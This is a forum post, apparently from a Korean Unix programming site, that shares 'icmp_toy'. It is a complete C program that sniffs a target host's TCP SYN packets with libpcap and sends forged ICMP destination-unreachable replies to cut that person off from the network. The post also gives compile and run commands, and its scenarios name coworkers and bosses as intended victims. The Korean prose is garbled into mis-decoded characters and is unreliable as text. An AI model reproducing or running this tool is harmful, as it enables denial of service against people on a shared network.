BACKRUSH  À¯´Ð½º¸í·É  ´ÙÀ½  ÀÚ·á½Ç  Ascii Table   ¿ø°ÝÁ¢¼Ó  ´Þ·Â,½Ã°£   ÇÁ·Î¼¼½º   ½©
ÁöÇÏö³ë¼±   RFC¹®¼­   SUN FAQ   SUN FAQ1   C¸Þ´º¾ó   PHP¸Þ´º¾ó   ³Ê±¸¸®   ¾Æ½ºÅ°¿ùµå ¾ÆÀÌÇǼ­Ä¡

±Û¾´ÀÌ: icmp icmp toy Á¶È¸¼ö: 19332


#########################################################################
# ICMPÆÐŶÀ» ÀÌ¿ëÇÑ Àå³­°¨
#
# ±Û¾´ÀÌ : ³ë±¤¹Î
# email : dalgu2@orgio.net
# homepage : http://myhome.shinbiro.com/~nkm24
#########################################################################

¾È³çÇÏ½Ê´Ï±î ¸®´ª½º¿¡¼­ pcap library¸¦ »ç¿ëÇÏ¿© ÆÐŶÀ» Àâ¾Æº¸±â¶õ ±ÛÀ» ¿Ã·È´ø
³ë±¤¹ÎÀÔ´Ï´Ù.
À̱ÛÀº Á¦°¡ ¿Ã·È´ø À§ÀDZÛÀ» Àо¼Ì´Ù´Â °¡Á¤ÇÏ¿¡ ÀÌÁ¨ ¹«¾ùÀ» ÇØ º¼±î °í¹ÎÇÏ´Â
ºÐµéÀ» À§ÇØ Àç¹ÌÀÖ´Â Àå³­°¨ Çϳª¸¦ ¼Ò°³ÇÏ°íÀÚ ÇÕ´Ï´Ù.
ÀÌ Àå³­°¨À» °®°í ³î±â À§ÇÑ Á¶°ÇÀº ¾Æ·¡¿Í °°½À´Ï´Ù.

°æ¿ì 1
1.1 ¸¾¿¡ ¾È µå´Â »ç¶÷ÀÌ ÀÖ´Ù.
1.2 ±× »ç¶÷°ú ³­ °°Àº ³×Æ®¿÷ ¼¼Æ®¸ÕÆ®¾È¿¡¼­ ÄÄÀ» ¾²°í ÀÖ´Ù.
1.3 ±× »ç¶÷Àº ÇÏ·ç¶óµµ ÀÎÅͳÝÀ» ¾²Áö ¾ÊÀ¸¸é ¹ÌÄ¡¹ö¸®´Â »ç¶÷ÀÌ´Ù.
1.4 ±× »ç¶÷À» ¹ÌÃĹö¸®°Ô ÇÏ°í ½Í´Ù.
°æ¿ì 2
2.1 ¸Ç³¯ ¾É¾Æ¼­ Ææ´ë ±¼¸®¸é¼­ °áÀ縸 ÇÏ´Â º¸±â½ÈÀº »ó»ç°¡ ÀÖ´Ù.
2.2 ±× »ó»ç¿Í ³­ °°Àº ³×Æ®¿÷ ¼¼Æ®¸ÕÆ®¾È¿¡¼­ ÄÄÀ» ¾²°í ÀÖ´Ù.
2.3 Á¶±Ý¸¸ µýÁþ ÇÏ¸é ¼Ò¸®Áö¸£¸é¼­ ÀÚ±â´Â ¸Ç³¯ Áõ±Ç¸¸ ÇÑ´Ù.
2.4 °¡¼­ ¸Ó¸®¹ÚÀ» ÇÑ ´ë Áã¾î¹Ú°í ½ÍÁö¸¸ µþ¸° óÀÚ½ÄÀÌ À־ ±×·¸°Ô ¸øÇÑ´Ù.
2.5 Àú ³ðÀ» ¾î¶»°Ô ¹ÌÃĹö¸®°Ô ÇÏÁö...
°æ¿ì 3
3.1 ±× ³ð°ú ³ª´Â ¸¶ÁÖº»´Ù.
3.2 ±× ³ð°ú ³­ °°Àº ³×Æ®¿÷ ¼¼Æ®¸ÕÆ®¾È¿¡¼­ ÄÄÀ» ¾²°í ÀÖ´Ù.
3.3 ´«ÀÌ µ¹¾Æ°¡´Â °ÍÀ» °¡¸¸È÷ º¸¸é ºÐ¸í µý ÁþÀ» ÇÏ°í ÀÖ´Ù.
3.4 ³»°¡ ´Ù°¡°¡¸é À绡¸® ¸¶¿ì½º Á¶ÀÛÀ» ÇÑ´Ù.
3.5 ¸ð´ÏÅÍ È­¸éÀ» º¸¸é °¢Á¾ ¼­·ù ÆíÁý È­¸é¸¸ º¸ÀδÙ.
3.6 ÀÌ ³ð ºÐ¸íÈ÷ µý Áþ ÇÏ°í Àִµ¥ ¼Õ°¡¶ô °Ì³ª°Ô ºü¸£³×...
°æ¿ì 4
4.1 ÇÁ·ÎÁ§Æ®°¡ Ä¡¸íÀûÀÎ ¹ö±× ¶§¹®¿¡ ¸·ÇôÀÖ´Ù.
4.2 ±×·±µ¥µµ ±× ³ðÀº ¾Æ¶û°÷ÇÏÁö ¾Ê°í °ÔÀÓ¸¸ ÇÑ´Ù.
4.3 ¼ºÁúÀÌ ´õ·¯¿ö¼­ °ÇµéÁöµµ ¸øÇÏ°Ú´Ù.
4.4 ÀÌ ³ðÀ» ¾î¶»°Ô ÇÏÁö...

Á¶°ÇÀÌ ÃæÁ·µÈ´Ù¸é ¾Æ·¡ÀÇ ±ÛÀ» ÀоîÁֽʽÿä...
Âü°í·Î ÀÌ °ÍÀ» ÀÌ¿ëÇÏ¿© ÀϾ ÀÎÀû,¹°Àû ÇÇÇØ¿¡ ´ëÇؼ­´Â Àú´Â Àý´ë·Î
Ã¥ÀÓÀ» ÁöÁö ¾Ê½À´Ï´Ù. ÀÌ°Í¿¡ µ¿ÀÇ ÇϽô ºÐ¸¸ ÀÌ Àå³­°¨À» ÀÌ¿ëÇÒ
±Ç¸®¸¦ µå¸³´Ï´Ù.

Á¦°¡ ¼Ò°³ÇÏ°íÀÚ ÇÏ´Â ¼Ò½º´Â ping ÇÁ·Î±×·¥¿¡¼­ ÀÌ¿ëÇÏ´Â icmp packet¸¦ ÀÌ¿ëÇÑ
°£´ÜÇÑ hacking sourceÀÔ´Ï´Ù.
Àü¿¡ ¿Ã·È´ø ±Û¿¡¼­ ó·³ pcap library¸¦ ÀÌ¿ëÇÏ¿© ¿øÇϴ ȣ½ºÆ®ÀÇ ÆÐŶÀ»
ȹµæÇÏ¿© Â÷´Ü ÆÐŶÀ» Àü¼ÛÇÏ´Â ¿ø¸®·Î µÇ¾îÀÖ½À´Ï´Ù.
ÀÚ¼¼ÇÑ ¼³¸íÀº ¼Ò½º¿¡ ³ª¿Í ÀÖÀ¸´Ï Âü°í¹Ù¶ø´Ï´Ù.
Âü°í·Î Àú´Â ÇÁ·Î±×·¥ Ãʺ¸ÀÔ´Ï´Ù.
ÄÄÆÄÀÏÇϸé waringÀÌ ¶ã °Ì´Ï´Ù. ¾î¶»°Ô ¾ø¾Ö´ÂÁö Àß ¸ð¸£°Ú½À´Ï´Ù. °¡¸£ÃÄ ÁֽǺÐÀº
¸á ÁÖ¼¼¿ä...^^
¿©±â¿¡ ³ª¿Í ÀÖ´Â ¼Ò½º´Â UNP(UNIX NETWORK PROGRAMMING Volumn1 second edition)¿Í
tcpdump¸¦ ÂüÁ¶ÇÏ¿© study -> copy -> paste -> replace -> rebuildÀÇ °úÁ¤À»
°ÅÄ£ ¼Ò½ºÀÔ´Ï´Ù.
¼Ò½º°¡ ¾à°£ ÁöÀúºÐÇÏ´õ¶ó°í ¾çÇØ ¹Ù¶ó¸ç Á¦°¡ ¾à°£ ÷°¡ÇÑ ºÎºÐÀº ping ÇÁ·Î±×·¥À»
Âü°íÇÏ¿© icmp error packetÀ» ¸¸µé¾î º¸³»´Â ºÎºÐ Á¤µµÀÔ´Ï´Ù.
´©±º°¡ ±×·¯´õ±º¿ä. ÁøÁ¤ÇÑ ÇÁ·Î±×·¡¸Ó´Â ÀÌ ¼¼»ó¿¡¼­ ¸î ¸í ¾È µÈ´Ù°í...
³­ ¾ðÁ¦Âë Ã¥ ¾Èº¸°í ÇÁ·Î±×·¡¹Ö ÇÒ ¼ö ÀÖÀ»±î...
Âü Àü¿¡ ¿Ã·È´ø ¼Ò½ºµµ ÄÄÆÄÀÏÀÌ ¾È µÇ´Ù´Â ¸áÀ» ¹Þ¾Ò´Âµ¥ ´ëºÎºÐÀÌ
bpf.h°¡ ¾ø´Ù´Â ¿¡·¯¿´½À´Ï´Ù.

#cp -f /usr/include/pcap/net/bpf.h /usr/include/net
#gcc -g -Wall -o icmp_toy icmp_toy.c -lpcap

ÀÌ·¸°Ô ÄÄÆÄÀÏÇÏ½Ã¸é µË´Ï´Ù. ÄÄÆÄÀÏÇϱ⠱ÍÂúÀ¸½Ã¸é
ÀúÀÇ È¨ÆäÀÌÁö ¹ÙÀ̳ʸ®¸¦ ¸µÅ©½ÃÄÑ ³õ¾ÒÀ¸´Ï ¹Þ¾Æ°¡½Ã±â ¹Ù¶ø´Ï´Ù.(intel x86)
Àڱ⠸®´ª½º ¹Ú½º¿¡¼­ ¸ÕÀú Å×½ºÆ®¸¦ ÇØ º¸¼¼¿ä...
ÀÌ·¸°Ô
#./icmp_toy 192.168.2.10
¶ó°í ÇÑ´ÙÀ½ ´Ù¸¥ â¿¡¼­ telnetÀ̳ª webÀ» ÀÌ¿ëÇØ º¸¼¼¿ä...^^
Àå¹Ì ÇÑ ¼ÛÀ̸¦ ¹Þ°Ô µÉ °Ì´Ï´Ù...^^
192.168.2.10Àº º»ÀÎÀÇ ÄÄ ip addressÀÔ´Ï´Ù.

---------------------------- icmp_toy.c ---------------------------------------
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <net/ethernet.h>
#include <pcap/pcap.h> // libpcap¸¦ À§ÇÑ Çì´õÈ­ÀÏ
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#define PROMISCUOUS 1
// ÀÚ½Ä ÇÁ·Î¼¼½º »ý¼º °³¼ö
static int nchild = 5;
char target_ip[16];

static pid_t *pids;
static pcap_t *pd;

/* checksum ¾Ë°í¸®Áò¸¦ ±¸ÇöÇÑ ÇÔ¼ö ³ª´Â copy & paste È÷È÷ */
unsigned short in_cksum(unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;

while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}


/* --------------------------------------------------------------------
icmp packet À» ¸¸µé¾î º¸³»´Â ÇÔ¼ö : ³Í ÀÌÁ¦ ÀÎÅͳݰú °í¸³µÇ´Â °Å¾ß!!
-------------------------------------------------------------------*/
void send_icmp(int sockfd, struct iphdr *iph, struct tcphdr *tcph)
{
char buff[36]; // icmp packet ÀÇ ÀüüºÎºÐ
char data[28]; //icmp data ºÎºÐ ip header:20bytes + ulp header:8bytes
/* È­¸é¿¡ Âï±â À§ÇØ ip¸¦ ÀÓ½ÃÀúÀåÇϱâ À§ÇÑ °ø°£ */
int len;
struct sockaddr send;
struct icmp *icmp;
struct sockaddr_in *willsend;

willsend = (struct sockaddr_in *) &send;
willsend->sin_family = AF_INET;
willsend->sin_addr.s_addr = iph->saddr;

fprintf(stdout,"A player\'s number is (%d) : Shot!! ---<-@ %s \n", getpid(), target_ip);
icmp = (struct icmp *) buff;
// ¸ñÀûÁö ¹Ìµµ´Þ : ICMP type
icmp->icmp_type = ICMP_DEST_UNREACH;
icmp->icmp_code = ICMP_PROT_UNREACH;
icmp->icmp_id = 0;
icmp->icmp_seq = 0;
// icmp data ºÎºÐÁß¿¡ ÆÐŶÀÇ ip header
memcpy(data, iph, 20);
// icmp data ºÎºÐÁß¿¡ ÆÐŶÀÇ Upper Layer ProtocolÀÇ »óÀ§ 8 bytes
memcpy(data + 20, tcph, 8);
// dataºÎºÐÀ» icmp_dataºÎºÐ¿¡ ´ëÀÔ
memcpy(icmp->icmp_data, data, 28);
// º¸³»°Ô µÉ icmp packetÀÇ ±æÀÌ : 36 bytes
len = 8 + 20 + 8;
// icmp checksum field °è»ê
icmp->icmp_cksum= 0;
icmp->icmp_cksum= in_cksum((u_short *) icmp, len);
// ¿Ï¼ºµÈ ICMP packet º¸³»±â
sendto(sockfd, buff, len, 0, &send, sizeof(send));
}

// Àå³­ Ä¥ ³ð ÄÄip
void checkip(struct iphdr *iph, struct tcphdr *tcph)
{
int sockfd;
char source_ip[16];

strcpy(source_ip, (char *)inet_ntoa(iph->saddr));

sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
//ip ºñ±³ ¾Æ´Ô ¸»±¸...
if ( strcmp(target_ip, source_ip) == 0 )
send_icmp(sockfd, iph, tcph);

close(sockfd);
}

// ip header¿Í tcp header¸¦ mapping
void packet_info(char *user, int len)
{
struct iphdr *iph;
struct tcphdr *tcph;
// ip header ¸¦ Æ÷ÀÎÅÍ
iph = (struct iphdr *) user;
// tcp header ¸¦ Æ÷ÀÎÅÍ
tcph = (struct tcphdr *) (user + iph->ihl *4);
checkip(iph, tcph);
}


void sig_int(int sig)
{
int i;

// ¸ðµç ÀÚ½ÄÇÁ·Î¼¼½º¸¦ Á×ÀδÙ.
for(i=0; i<nchild; i++)
kill(pids[i],SIGTERM);

/* ---------------------------------------------
¸ðµç ÀÚ½Ä ÇÁ·Î¼¼½º°¡ Á×À» ¶§±îÁö ±â´Ù¸°´Ù.
´õ ÀÌ»ó ÀÚ½ÄÇÁ·Î¼¼½º°¡ ¾øÀ¸¸é wait()´Â -1¸¦
¸®ÅÏÇϱ⠶§¹®¿¡ while loop¸¦ ºüÁ®³ª¿À°Ô µÇ°í
ºÎ¸ðµµ exit(0)¿¡ ÀÇÇØ Á¾·áÇÑ´Ù.
--------------------------------------------*/
while(wait(NULL) > 0)
;

fprintf(stdout,"Bye!!\n");
exit(0);

}

// prefork¹æ½ÄÀ» ÀÌ¿ëÇÑ child pool ¸¸µé±â
pid_t child_make(int i, pcap_t *pd, int datalink)
{
pid_t pid;
void child_main(int, pcap_t *, int);

if ((pid=fork()) > 0) {
return (pid); // parent Àΰæ¿ì ÀÚ½ÄÇÁ·Î¼¼½ºÀÇ pid¸¦ ¸®ÅÏ
}
// childÀÎ °æ¿ì ¾Æ·¡ ÇÔ¼ö È£Ãâ
child_main(i, pd, datalink);
}


void child_main(int i, pcap_t *pd, int datalink)
{
void packet_loop(pcap_t *, int);

printf("CHILD %ld starting\n", (long) getpid());

packet_loop(pd, datalink);
}

// unp¿¡ ÀÖ´Ù.
char *next_pcap(pcap_t *pd, int *len)
{
char *ptr;
struct pcap_pkthdr hdr;

while( (ptr = (char *) pcap_next(pd, &hdr)) == NULL) ;

*len = hdr.caplen;
return (ptr);
}


void packet_loop(pcap_t *pd, int datalink)
{
int len;
char *ptr;

/* -----------------------------------------------
°è¼ÓÀûÀ¸·Î packetÀ» ÀоîµéÀÌ´Â loop
---------------------------------------------*/
for(;;) {
ptr = next_pcap(pd, &len);
switch (datalink) {
case DLT_EN10MB :
packet_info(ptr+14, len-14);
break;
}
}
}

void usage(void)
{
fprintf(stdout, "SYNOPSIS : icmp_toy xxx.xxx.xxx.xxx(target ip address)\n");
}


int main(int argc, char *argv[])
{
struct bpf_program fcode;
char *device, *filter_rule;
char ebuf[PCAP_ERRBUF_SIZE];
int i, j, snaplen = 68;
bpf_u_int32 localnet, netmask;

//½Ã±×³Î µî·Ï
signal(SIGINT, sig_int);

if(argc < 2) {
usage();
exit(1);
}

// Àå³­ Ä¥ ÄÄÇ»ÅÍ È£½ºÆ® ÁÖ¼Ò¸¦ º¹»ç...
strcpy(target_ip, argv[1]);

/* ---------------------------------------
tcp syn packet¸¸ ÇÊÅ͸µÇÑ´Ù
--------------------------------------*/
filter_rule = "tcp and tcp[13:1] & 2 != 0";
//filter_rule = "ip";

device = pcap_lookupdev(ebuf);
if(device == NULL) {
perror(ebuf);
exit(1);
}

pd = pcap_open_live(device, snaplen, PROMISCUOUS, 1000, ebuf);
if(pd == NULL) {
perror(ebuf);
exit(1);
}

i = pcap_snapshot(pd);
if(snaplen < i) {
perror(ebuf);
exit(1);
}

if(pcap_lookupnet(device, &localnet, &netmask, ebuf) < 0) {
perror(ebuf);
exit(1);
}

setuid(getuid());

if(pcap_compile(pd, &fcode, filter_rule, 0, netmask) < 0) {
perror(ebuf);
exit(1);
}

if(pcap_setfilter(pd, &fcode) < 0) {
perror(ebuf);
exit(1);
}

fflush(stderr);

pids = calloc(nchild, sizeof(pid_t));
/* ----------------------------------------------
nchild ¸¸Å­ ÀÚ½ÄÇÁ·Î¼¼½º¸¦ »ý¼ºÇϱâ À§ÇÑ loop
--------------------------------------------*/
for(j=0; j<nchild; j++)
pids[j] = child_make(j, pd, pcap_datalink(pd));

for(;;)
pause(); // signal ÀÌ ¹ß»ýÇÒ¶§±îÁö ½ÇÇàÀ» Áö¿¬½ÃŲ´Ù.
}
---------------------------- icmp_toy.c ---------------------------


°ü·Ã±Û : 1 °Ç ±Û¾´½Ã°£ : 2003/04/23 9:31 from 218.154.16.34

 

Á¦ ¸ñ

Á¶È¸

³¯Â¥

±Û¾´ÀÌ

icmp toy

19332

2002.01.19

icmp


  open ½Ã½ºÅÛ È£Ãâ ¸ñ·Ïº¸±â »õ±Û ¾²±â Áö¿ì±â ÀÀ´ä±Û ¾²±â ±Û ¼öÁ¤ nbtstat ¸¦ À¯´Ð½º¿¡¼­  
BACKRUSH  À¯´Ð½º¸í·É  ´ÙÀ½  ÀÚ·á½Ç  Ascii Table   ¿ø°ÝÁ¢¼Ó  ´Þ·Â,½Ã°£   ÇÁ·Î¼¼½º   ½©
ÁöÇÏö³ë¼±   RFC¹®¼­   SUN FAQ   SUN FAQ1   C¸Þ´º¾ó   PHP¸Þ´º¾ó   ³Ê±¸¸®   ¾Æ½ºÅ°¿ùµå ¾ÆÀÌÇǼ­Ä¡